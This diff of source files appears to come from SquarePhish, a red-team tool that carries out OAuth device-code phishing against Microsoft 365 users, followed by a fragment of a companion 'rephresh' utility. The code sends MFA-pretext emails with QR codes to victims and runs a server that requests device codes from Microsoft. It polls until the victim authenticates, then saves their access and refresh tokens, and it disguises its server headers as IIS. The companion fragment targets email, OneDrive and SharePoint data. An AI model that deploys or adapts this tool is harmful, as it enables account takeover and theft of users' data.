# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
# fmt: off
|
||||
|
||||
import logging
|
||||
from rephresh import __version__
|
||||
|
||||
SEARCH_KEYWORDS = [
|
||||
"password",
|
||||
"username",
|
||||
]
|
||||
|
||||
DATA_MODULES = [
|
||||
"all",
|
||||
"users",
|
||||
"groups",
|
||||
"emails",
|
||||
"onedrive",
|
||||
"sharepoint",
|
||||
"organization",
|
||||
]
|
||||
|
||||
TARGET_CLIENT_IDS = {
|
||||
"Intune": "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223",
|
||||
"OneDrive": "b26aadf8-566f-4478-926f-589f601d9c74",
|
||||
"SharePoint": "d326c1ce-6cc6-4de2-bebc-4591e5e13ef0",
|
||||
"Microsoft Office": "d3590ed6-52b3-4102-aeff-aad2292ab01c",
|
||||
"Office 365 Management": "00b41c95-dab0-4487-9791-b9d2c32c80f2",
|
||||
}
|
||||
|
||||
HTTP_OPSEC_HEADERS = {
|
||||
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
|
||||
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36", # Chrome 99
|
||||
"accept-encoding": "gzip, deflate, br",
|
||||
"accept-language": "en-US,en;q=0.5",
|
||||
"upgrade-insecure-requests": "1",
|
||||
}
|
||||
|
||||
BANNER = f"""
|
||||
____ ____ __ __
|
||||
/ __ \___ / __ \/ /_ ________ _____/ /_
|
||||
/ /_/ / _ \/ /_/ / __ \/ ___/ _ \/ ___/ __ \\
|
||||
/ _, _/ __/ ____/ / / / / / __(__ ) / / /
|
||||
/_/ |_|\___/_/ /_/ /_/_/ \___/____/_/ /_/
|
||||
|
||||
o O v{__version__}
|
||||
o _/_
|
||||
. /o \//
|
||||
=___/\\\\
|
||||
''
|
||||
"""
|
||||
|
||||
class bcolors:
|
||||
"""Color codes for colorized terminal output"""
|
||||
|
||||
HEADER = "\033[95m"
|
||||
OKBLUE = "\033[94m"
|
||||
OKCYAN = "\033[96m"
|
||||
OKGREEN = "\033[92m"
|
||||
WARNING = "\033[93m"
|
||||
FAIL = "\033[91m"
|
||||
ENDC = "\033[0m"
|
||||
BOLD = "\033[1m"
|
||||
UNDERLINE = "\033[4m"
|
||||
|
||||
|
||||
class LoggingLevels:
|
||||
CRITICAL = f"{bcolors.FAIL}%s{bcolors.ENDC}" % "crit"
|
||||
WARNING = f"{bcolors.WARNING}%s{bcolors.ENDC}" % "warn"
|
||||
DEBUG = f"{bcolors.OKBLUE}%s{bcolors.ENDC}" % "debug"
|
||||
ERROR = f"{bcolors.FAIL}%s{bcolors.ENDC}" % "fail"
|
||||
INFO = f"{bcolors.OKGREEN}%s{bcolors.ENDC}" % "info"
|
||||
|
||||
|
||||
def init_logger(debug: bool):
|
||||
"""Initialize program logging
|
||||
|
||||
:param debug: debug enabled/disabled
|
||||
"""
|
||||
if debug:
|
||||
logging_level = logging.DEBUG
|
||||
logging_format = ("[%(asctime)s] [%(levelname)-5s] %(filename)17s:%(lineno)-4s - %(message)s")
|
||||
else:
|
||||
logging_level = logging.INFO
|
||||
logging_format = "[%(asctime)s] [%(levelname)-5s] %(message)s"
|
||||
|
||||
logging.basicConfig(format=logging_format, level=logging_level)
|
||||
|
||||
# Handle color output
|
||||
logging.addLevelName(logging.CRITICAL, LoggingLevels.CRITICAL)
|
||||
logging.addLevelName(logging.WARNING, LoggingLevels.WARNING)
|
||||
logging.addLevelName(logging.DEBUG, LoggingLevels.DEBUG)
|
||||
logging.addLevelName(logging.ERROR, LoggingLevels.ERROR)
|
||||
logging.addLevelName(logging.INFO, LoggingLevels.INFO)
|
||||
@@ -0,0 +1 @@
|
||||
msal>=1.17.0
|
||||
@@ -0,0 +1,5 @@
|
||||
flask
|
||||
pyOpenSSL
|
||||
pypng
|
||||
pyqrcode
|
||||
requests
|
||||
|
After Width: | Height: | Size: 171 KiB |
|
After Width: | Height: | Size: 119 KiB |
|
After Width: | Height: | Size: 73 KiB |
|
After Width: | Height: | Size: 72 KiB |
|
After Width: | Height: | Size: 330 KiB |
|
After Width: | Height: | Size: 284 KiB |
|
After Width: | Height: | Size: 32 KiB |
@@ -0,0 +1,24 @@
|
||||
[DEFAULT]
|
||||
SMTP_PORT = 465 # SMTP port, defaulted to 465
|
||||
SMTP_SERVER = "smtp.gmail.com" # SMTP server, defaulted to GMail
|
||||
SMTP_EMAIL = "" # Required: Provide authenticating email address here
|
||||
SMTP_PASSWORD = "" # Required: Provide authenticating password here
|
||||
|
||||
[EMAIL]
|
||||
SQUAREPHISH_SERVER = "" # Required: Provide IP address/domain name of hosted SquarePhish server
|
||||
SQUAREPHISH_PORT = 8443 # Hosted SquarePhish server port, defaulted to 8443 (this should match the below server value)
|
||||
SQUAREPHISH_ENDPOINT = "/mfa" # Hosted SquarePhish endpoint to trigger OAuth Device Code flow, defaulted to an MFA pretext (this should match the below server value)
|
||||
FROM_EMAIL = "admin@square.phish" # Default FROM address when sending an email
|
||||
SUBJECT = "ACTION REQUIRED: Multi-Factor Authentication (MFA) Update" # Default SUBJECT when sending an email, defauled to an MFA pretext
|
||||
EMAIL_TEMPLATE = "pretexts/mfa/qrcode_email.html" # Email body template for QR code email to victim
|
||||
|
||||
[SERVER]
|
||||
PORT = 8443
|
||||
FROM_EMAIL = "admin@square.phish" # Default FROM address when sending an email
|
||||
SUBJECT = "ACTION REQUIRED: Multi-Factor Authentication (MFA) Update" # Default SUBJECT when sending an email, defauled to an MFA pretext
|
||||
CLIENT_ID = "4813382a-8fa7-425e-ab75-3b753aab3abb" # Authenticating client ID, defaulted to Microsoft Authenticator App
|
||||
ENDPOINT = "/mfa" # Hosted endpoint to trigger OAuth Device Code flow, defaulted to an MFA pretext
|
||||
CERT_CRT = "" # Server SSL certificate .crt file
|
||||
CERT_KEY = "" # Server SSL certificate .key file
|
||||
EMAIL_TEMPLATE = "pretexts/mfa/devicecode_email.html" # Email body template for device code email to victim
|
||||
PERMISSION_SCOPE = ".default offline_access profile openid" # OAuth permission scope - https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-permissions-and-consent
|
||||
@@ -0,0 +1,17 @@
|
||||
# Copyright 2022 Secureworks
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
# fmt: off
|
||||
__title__ = "SquarePhish"
|
||||
__version__ = "0.1.0"
|
||||
@@ -0,0 +1,25 @@
|
||||
# Copyright 2022 Secureworks
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
from configparser import RawConfigParser
|
||||
|
||||
|
||||
class CustomConfigParser(RawConfigParser):
|
||||
"""Custom config parser"""
|
||||
|
||||
def get(self, section: str, option: str) -> str:
|
||||
"""Overrride the 'get' function to strip any single/double quotes from values
|
||||
extracted from the configuration file"""
|
||||
val = RawConfigParser.get(self, section, option)
|
||||
return val.strip('"').strip("'")
|
||||
@@ -0,0 +1,49 @@
|
||||
# Copyright 2022 Secureworks
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
import smtplib
|
||||
import logging
|
||||
from configparser import ConfigParser
|
||||
from email.message import EmailMessage
|
||||
|
||||
|
||||
class Emailer:
|
||||
"""Class to send emails"""
|
||||
|
||||
def __init__(self, config: ConfigParser):
|
||||
"""Initialize emailer
|
||||
|
||||
:param config: configuration settings
|
||||
"""
|
||||
self.smtp_server = config.get("DEFAULT", "SMTP_SERVER")
|
||||
self.smtp_port = config.get("DEFAULT", "SMTP_PORT")
|
||||
self.smtp_email = config.get("DEFAULT", "SMTP_EMAIL")
|
||||
self.smtp_password = config.get("DEFAULT", "SMTP_PASSWORD")
|
||||
|
||||
def send_email(self, message: EmailMessage) -> bool:
|
||||
"""Send a given email message
|
||||
|
||||
:param message: email message object to send
|
||||
:returns: bool if email sent successfully
|
||||
"""
|
||||
try:
|
||||
with smtplib.SMTP_SSL(self.smtp_server, self.smtp_port) as smtp:
|
||||
smtp.login(self.smtp_email, self.smtp_password)
|
||||
smtp.send_message(message)
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Failed to send email: {e}")
|
||||
return False
|
||||
@@ -0,0 +1,15 @@
|
||||
# Copyright 2022 Secureworks
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
from squarephish.modules.qrcode.email import QRCodeEmail
|
||||
@@ -0,0 +1,82 @@
|
||||
# Copyright 2022 Secureworks
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
import io
|
||||
import base64
|
||||
import logging
|
||||
import pyqrcode # type: ignore
|
||||
from configparser import ConfigParser
|
||||
from email.message import EmailMessage
|
||||
from squarephish.modules.emailer import Emailer
|
||||
|
||||
|
||||
class QRCodeEmail:
|
||||
"""Class to handle initial QR code emails"""
|
||||
|
||||
def _generate_qrcode(
|
||||
self,
|
||||
server: str,
|
||||
port: int,
|
||||
endpoint: str,
|
||||
email: str,
|
||||
) -> str:
|
||||
"""Generate a QR code for a given URL
|
||||
|
||||
:param server: malicious server domain/IP
|
||||
:param port: port malicious server is running on
|
||||
:param endpoint: malicious server endpoint to request
|
||||
:param to_email: TO email address of victim
|
||||
"""
|
||||
endpoint = endpoint.strip("/")
|
||||
url = f"https://{server}:{port}/{endpoint}?email={email}"
|
||||
c = pyqrcode.create(url)
|
||||
s = io.BytesIO()
|
||||
c.png(s, scale=6)
|
||||
encoded = base64.b64encode(s.getvalue()).decode("ascii")
|
||||
return encoded
|
||||
|
||||
@classmethod
|
||||
def send_qrcode(
|
||||
cls,
|
||||
email: str,
|
||||
config: ConfigParser,
|
||||
emailer: Emailer,
|
||||
) -> bool:
|
||||
"""Send initial QR code to victim pointing to our malicious URL
|
||||
|
||||
:param email: target victim email address to send email to
|
||||
:param config: configuration settings
|
||||
:param emailer: emailer object to send emails
|
||||
:returns: bool if the email was successfully sent
|
||||
"""
|
||||
qrcode = cls._generate_qrcode(
|
||||
cls,
|
||||
config.get("EMAIL", "SQUAREPHISH_SERVER"),
|
||||
config.get("EMAIL", "SQUAREPHISH_PORT"),
|
||||
config.get("EMAIL", "SQUAREPHISH_ENDPOINT"),
|
||||
email,
|
||||
)
|
||||
|
||||
if not qrcode:
|
||||
logging.error("Failed to generate QR code")
|
||||
return False
|
||||
|
||||
msg = EmailMessage()
|
||||
msg["To"] = email
|
||||
msg["From"] = config.get("EMAIL", "FROM_EMAIL")
|
||||
msg["Subject"] = config.get("EMAIL", "SUBJECT")
|
||||
|
||||
email_template = config.get("EMAIL", "EMAIL_TEMPLATE")
|
||||
msg.set_content(email_template % qrcode, subtype="html")
|
||||
return emailer.send_email(msg)
|
||||
@@ -0,0 +1,128 @@
|
||||
# Copyright 2022 Secureworks
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
import re
|
||||
import urllib
|
||||
import logging
|
||||
import requests
|
||||
from flask import request # type: ignore
|
||||
from flask import redirect # type: ignore
|
||||
from configparser import ConfigParser
|
||||
from squarephish.utils import HTTP_HEADERS
|
||||
from squarephish.modules.emailer import Emailer
|
||||
from squarephish.modules.server.auth import AuthPoll
|
||||
from squarephish.modules.server.email import email_usercode
|
||||
from squarephish.modules.server.customflask import CustomFlask
|
||||
|
||||
# Create global Flask app based on config.py
|
||||
app = CustomFlask(__name__)
|
||||
app.config.from_pyfile("config.py")
|
||||
|
||||
|
||||
def init_app(config: ConfigParser, emailer: Emailer) -> redirect:
|
||||
"""Initialize the Custom Flask app route
|
||||
|
||||
For better OPSEC, if any errors occur, automatically redirect the user away
|
||||
from our server to the main Microsoft web page
|
||||
|
||||
:param config: configuration settings
|
||||
:param emailer: emailer object to send emails
|
||||
"""
|
||||
route = config.get("SERVER", "ENDPOINT").strip("/")
|
||||
route = f"/{route}"
|
||||
|
||||
@app.errorhandler(404)
|
||||
def handle_404(e):
|
||||
"""Handle 404 errors here"""
|
||||
logging.error(f"Invalid URL request '{request.url}' from {request.remote_addr}")
|
||||
return redirect("https://microsoft.com/", code=302)
|
||||
|
||||
@app.route(route, methods=["GET"])
|
||||
def run_devicecode_flow():
|
||||
"""Primary route handling for Flask app"""
|
||||
|
||||
# Get user information from the incoming request
|
||||
target_email = request.args.get("email")
|
||||
if not target_email:
|
||||
logging.error(f"Could not retrieve target email address: '{request.url}' from {request.remote_addr}") # fmt: skip
|
||||
return redirect("https://microsoft.com/", code=302)
|
||||
|
||||
# Validate the email address since we use this value as a filename on
|
||||
# the system
|
||||
target_email = target_email.strip()
|
||||
valid_email_regex = re.compile(r"^\b[A-Za-z0-9._#%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b$") # fmt: skip
|
||||
if not re.fullmatch(valid_email_regex, target_email):
|
||||
logging.error(f"Invalid email address provided: '{request.url}' from {request.remote_addr}") # fmt: skip
|
||||
return redirect("https://microsoft.com/", code=302)
|
||||
|
||||
# Build the permissions scope
|
||||
# user.read mail.read contacts.read user.basic.all user.read.all directory.accessasuser.all application.readwrite.all
|
||||
scope = config.get("SERVER", "PERMISSION_SCOPE")
|
||||
logging.info(f"[{target_email}] Requesting scope: {scope}")
|
||||
logging.info(f"[{target_email}] Requesting client: {config.get('SERVER', 'CLIENT_ID')}") # fmt: skip
|
||||
|
||||
# Build our request
|
||||
url = "https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode"
|
||||
params = (("client_id", config.get("SERVER", "CLIENT_ID")), ("scope", scope))
|
||||
data = urllib.parse.urlencode(params)
|
||||
|
||||
# Submit POST request to Microsoft
|
||||
try:
|
||||
resp = requests.post(url, headers=HTTP_HEADERS, data=data, verify=False)
|
||||
except requests.exceptions.ConnectionError as e:
|
||||
logging.error(f"[{target_email}] Failed to request device code from Microsoft: {e}") # fmt: skip
|
||||
return redirect("https://microsoft.com/devicelogin", code=302)
|
||||
|
||||
if resp.status_code != 200:
|
||||
logging.error(f"[{target_email}] Invalid response from /devicecode:\n{resp.json()}") # fmt: skip
|
||||
return redirect("https://microsoft.com/devicelogin", code=302)
|
||||
|
||||
devicecode_response = resp.json()
|
||||
logging.info(f"[{target_email}] Device code auth response:\n{devicecode_response}") # fmt: skip
|
||||
logging.info(f"[{target_email}] Code successfully retrieved.")
|
||||
logging.info(f'[{target_email}] Message: {devicecode_response["message"]}')
|
||||
|
||||
# Build URL and data for POST request to start device flow
|
||||
url = "https://login.microsoftonline.com/organizations/oauth2/v2.0/token"
|
||||
params = (
|
||||
("grant_type", "urn:ietf:params:oauth:grant-type:device_code"),
|
||||
("code", devicecode_response["device_code"]),
|
||||
("client_id", config.get("SERVER", "CLIENT_ID")),
|
||||
)
|
||||
data = urllib.parse.urlencode(params)
|
||||
|
||||
# Start polling for auth
|
||||
t = AuthPoll(
|
||||
target_email=target_email,
|
||||
devicecode_response=devicecode_response,
|
||||
url=url,
|
||||
data=data,
|
||||
)
|
||||
t.start()
|
||||
|
||||
# Send our code to the victim
|
||||
emailed = email_usercode(
|
||||
email_template=config.get("SERVER", "EMAIL_TEMPLATE"),
|
||||
subject=config.get("SERVER", "SUBJECT"),
|
||||
from_email=config.get("SERVER", "FROM_EMAIL"),
|
||||
to_email=target_email,
|
||||
user_code=devicecode_response["user_code"],
|
||||
emailer=emailer,
|
||||
)
|
||||
|
||||
if not emailed:
|
||||
logging.error(f"[{target_email}] Failed to send victim device code email")
|
||||
|
||||
# Redirect to Microsoft Device Login
|
||||
return redirect("https://microsoft.com/devicelogin", code=302)
|
||||
@@ -0,0 +1,100 @@
|
||||
# Copyright 2022 Secureworks
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
import json
|
||||
import time
|
||||
import requests
|
||||
import logging
|
||||
import datetime
|
||||
import threading
|
||||
from squarephish.utils import HTTP_HEADERS
|
||||
|
||||
|
||||
class AuthPoll(threading.Thread):
|
||||
"""Custom threading class to poll for authentication"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
target_email: str,
|
||||
devicecode_response: dict,
|
||||
url: str,
|
||||
data: str,
|
||||
):
|
||||
"""Initialize threading class
|
||||
|
||||
:param target_email: Victim email address
|
||||
:param devicecode_response: OAuth device code response
|
||||
:param url: Mircosoft OAuth token URL
|
||||
:param data: grant_type, client_id, code
|
||||
"""
|
||||
super(AuthPoll, self).__init__()
|
||||
self.target_email = target_email
|
||||
self.devicecode_response = devicecode_response
|
||||
self.url = url
|
||||
self.data = data
|
||||
|
||||
# Poll for user authentication
|
||||
def run(self, *args, **kwargs):
|
||||
"""Continue to poll the MS token endpoint for valid authentication from
|
||||
the given victim"""
|
||||
expires_in = int(self.devicecode_response["expires_in"]) / 60
|
||||
end_delta = datetime.timedelta(minutes=expires_in)
|
||||
stop_time = datetime.datetime.now() + end_delta
|
||||
|
||||
while True:
|
||||
logging.info(f"[{self.target_email}] Polling for user authentication...")
|
||||
resp = requests.post(
|
||||
self.url,
|
||||
headers=HTTP_HEADERS,
|
||||
data=self.data,
|
||||
verify=False,
|
||||
)
|
||||
|
||||
# Handle debugging
|
||||
logging.debug(f"[{self.target_email}] Device code polling response:\n{resp.json()}") # fmt: skip
|
||||
|
||||
# Handle successful auth
|
||||
if resp.status_code == 200:
|
||||
break
|
||||
|
||||
# Handle bad response
|
||||
if resp.json()["error"] != "authorization_pending":
|
||||
logging.error(f"[{self.target_email}] Invalid response from /token:\n{resp.json()}") # fmt: skip
|
||||
return False
|
||||
|
||||
# Handle device code expiration/timeout
|
||||
if datetime.datetime.now() >= stop_time:
|
||||
logging.error(f"[{self.target_email}] Device code expired.")
|
||||
return False
|
||||
|
||||
# Wait the provided interval time between polls
|
||||
time.sleep(int(self.devicecode_response["interval"]))
|
||||
|
||||
# Set response once polling proves true
|
||||
tokenResponse = resp.json()
|
||||
|
||||
# Attempt to write the data to a file, but if we fail output it to the
|
||||
# screen so the user can do what they want with the data
|
||||
try:
|
||||
with open(f"{self.target_email}.tokeninfo.json", "w") as f:
|
||||
json.dump(tokenResponse, f)
|
||||
|
||||
logging.info(f"[{self.target_email}] Token info saved to {self.target_email}.tokeninfo.json") # fmt: skip
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"[{self.target_email}] Failed to write token info: {e}")
|
||||
logging.info(f"[{self.target_email}] Token Info:\n{tokenResponse}")
|
||||
|
||||
return True
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
# Copyright 2022 Secureworks
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
# Python Flask Configuration
|
||||
|
||||
import os
|
||||
import multiprocessing
|
||||
|
||||
# Statement for enabling the development environment
|
||||
DEBUG = False
|
||||
|
||||
# Use 2x the number of processor cores for application
|
||||
# threads to handle incoming requests. One thread to handle
|
||||
# requests and one to perform background operations
|
||||
THREADS_PER_PAGE = multiprocessing.cpu_count() * 2
|
||||
|
||||
# Enable protection against Cross-site Request Forgery (CSRF)
|
||||
CSRF_ENABLED = True
|
||||
|
||||
# Use a unique key for signing the data
|
||||
CSRF_SESSION_KEY = os.urandom(32)
|
||||
|
||||
# Secret key for signing cookies
|
||||
SECRET_KEY = os.urandom(32)
|
||||
@@ -0,0 +1,28 @@
|
||||
# Copyright 2022 Secureworks
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
from flask import Flask # type: ignore
|
||||
from typing import Any
|
||||
from squarephish.utils import HTTP_OPSEC_HEADERS
|
||||
|
||||
|
||||
class CustomFlask(Flask):
|
||||
"""Custom Flask class to customize response headers in HTTP for better OPSEC."""
|
||||
|
||||
def process_response(self, response: Any) -> Any:
|
||||
# Set the defined headers
|
||||
for header, value in HTTP_OPSEC_HEADERS.items():
|
||||
response.headers[header] = value
|
||||
super(CustomFlask, self).process_response(response)
|
||||
return response
|
||||
@@ -0,0 +1,43 @@
|
||||
# Copyright 2022 Secureworks
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
from email.message import EmailMessage
|
||||
from squarephish.modules.emailer import Emailer
|
||||
|
||||
|
||||
def email_usercode(
|
||||
email_template: str,
|
||||
subject: str,
|
||||
from_email: str,
|
||||
to_email: str,
|
||||
user_code: str,
|
||||
emailer: Emailer,
|
||||
) -> bool:
|
||||
"""Send the phishing email to a target user
|
||||
|
||||
:param email_template: email body template
|
||||
:param subject: email subject to send to victim
|
||||
:param from_email: FROM email address to display to victim
|
||||
:param to_email: TO email address of victim
|
||||
:param user_code: OAuth user code
|
||||
:param emailer: emailer object to send emails
|
||||
:returns: bool if the email was successfully sent
|
||||
"""
|
||||
msg = EmailMessage()
|
||||
msg["Subject"] = subject
|
||||
msg["From"] = from_email
|
||||
msg["To"] = to_email
|
||||
|
||||
msg.set_content(email_template % user_code, subtype="html")
|
||||
return emailer.send_email(msg)
|
||||
@@ -0,0 +1,98 @@
|
||||
# Copyright 2022 Secureworks
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
# fmt: off
|
||||
|
||||
import logging
|
||||
from squarephish import __version__
|
||||
|
||||
|
||||
# Configuration values
|
||||
CONFIG_DEFAULT = ["SMTP_PORT", "SMTP_SERVER", "SMTP_EMAIL", "SMTP_PASSWORD"]
|
||||
CONFIG_EMAIL = ["SQUAREPHISH_SERVER", "SQUAREPHISH_PORT", "SQUAREPHISH_ENDPOINT", "FROM_EMAIL", "SUBJECT", "EMAIL_TEMPLATE"]
|
||||
CONFIG_SERVER = ["PORT", "FROM_EMAIL", "SUBJECT", "CLIENT_ID", "ENDPOINT", "EMAIL_TEMPLATE", "PERMISSION_SCOPE"]
|
||||
|
||||
# Default HTTP values
|
||||
HTTP_HEADERS = { "Content-Type": "application/x-www-form-urlencoded" }
|
||||
HTTP_OPSEC_HEADERS = {
|
||||
"vary": "Accept-Encoding",
|
||||
"server": "Microsoft-IIS/10.0",
|
||||
"tls_version": "tls1.3",
|
||||
"content-type": "text/html; charset=utf-8",
|
||||
"x-appversion": "1.0.8125.42964",
|
||||
"x-frame-options": "SAMEORIGIN",
|
||||
"x-ua-compatible": "IE=Edge;chrome=1",
|
||||
"x-xss-protection": "1; mode=block",
|
||||
"x-content-type-options": "nosniff",
|
||||
"strict-transport-security": "max-age=31536000",
|
||||
}
|
||||
|
||||
BANNER = f"""
|
||||
_____ _____ _ _ _
|
||||
/ ____| | __ \| | (_) | |
|
||||
| (___ __ _ _ _ __ _ _ __ ___| |__) | |__ _ ___| |__
|
||||
\___ \ / _` | | | |/ _` | '__/ _ \ ___/| '_ \| / __| '_ \
|
||||
____) | (_| | |_| | (_| | | | __/ | | | | | \__ \ | | |
|
||||
|_____/ \__, |\__,_|\__,_|_| \___|_| |_| |_|_|___/_| |_|
|
||||
| |
|
||||
|_|
|
||||
_________
|
||||
| | /(
|
||||
| O |/ (
|
||||
|> |\ ( v{__version__}
|
||||
|_________| \(
|
||||
"""
|
||||
|
||||
class bcolors:
|
||||
"""Color codes for colorized terminal output"""
|
||||
|
||||
HEADER = "\033[95m"
|
||||
OKBLUE = "\033[94m"
|
||||
OKCYAN = "\033[96m"
|
||||
OKGREEN = "\033[92m"
|
||||
WARNING = "\033[93m"
|
||||
FAIL = "\033[91m"
|
||||
ENDC = "\033[0m"
|
||||
BOLD = "\033[1m"
|
||||
UNDERLINE = "\033[4m"
|
||||
|
||||
|
||||
class LoggingLevels:
|
||||
CRITICAL = f"{bcolors.FAIL}%s{bcolors.ENDC}" % "crit"
|
||||
WARNING = f"{bcolors.WARNING}%s{bcolors.ENDC}" % "warn"
|
||||
DEBUG = f"{bcolors.OKBLUE}%s{bcolors.ENDC}" % "debug"
|
||||
ERROR = f"{bcolors.FAIL}%s{bcolors.ENDC}" % "fail"
|
||||
INFO = f"{bcolors.OKGREEN}%s{bcolors.ENDC}" % "info"
|
||||
|
||||
|
||||
def init_logger(debug: bool):
|
||||
"""Initialize program logging
|
||||
|
||||
:param debug: debug enabled/disabled
|
||||
"""
|
||||
if debug:
|
||||
logging_level = logging.DEBUG
|
||||
logging_format = ("[%(asctime)s] [%(levelname)-5s] %(filename)17s:%(lineno)-4s - %(message)s")
|
||||
else:
|
||||
logging_level = logging.INFO
|
||||
logging_format = "[%(asctime)s] [%(levelname)-5s] %(message)s"
|
||||
|
||||
logging.basicConfig(format=logging_format, level=logging_level)
|
||||
|
||||
# Handle color output
|
||||
logging.addLevelName(logging.CRITICAL, LoggingLevels.CRITICAL)
|
||||
